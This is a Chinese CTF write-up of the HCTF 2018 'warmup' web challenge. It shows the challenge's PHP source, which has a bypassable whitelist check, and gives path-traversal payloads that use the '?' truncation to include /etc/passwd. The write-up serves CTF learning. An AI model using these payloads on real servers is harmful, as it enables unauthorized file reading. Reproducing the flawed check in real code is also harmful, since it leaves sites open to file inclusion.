前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HCTF_Web_warmup_writeup

HCTF_Web_warmup_writeup

作者头像
用户5878089
发布2019-07-25 16:26:21
5090
发布2019-07-25 16:26:21
举报
文章被收录于专栏:网络攻防实战知识交流

warmup

说明

自己已经很久没有碰CTF了,这次HCTF学到了很多东西,一场好的比赛就应该是让参赛者学到新姿势而不是单纯以规模,以广告为目的来坑参赛者,自己是个菜鸡,想依照环境把题目一题一题的复现一下,依照FZ的要求 借着这个公众号,发一下大牛勿喷

环境还在,源码记录一下:

代码语言:javascript
复制
 <?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

<https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/>

代码源自于此

分析

mb_substr函数的作用:根据字符数执行一个多字节安全的 substr() 操作

在这个题目中不存在字符安全的问题,不予考虑,可以当作subst() 来处理

mb_strpos函数的作用 和strops 的作用一样,区别类似

分析以上代码:

核心如下

代码语言:javascript
复制
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')

只要让返回值满足

代码语言:javascript
复制
in_array($_page, $whitelist)

因此

file= source.php?../../../../../../../etc/passwd

file=hint.php?../../../../../../..//etc/passwd

就能文件包含

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-11-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • warmup
    • 说明
      • 分析
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档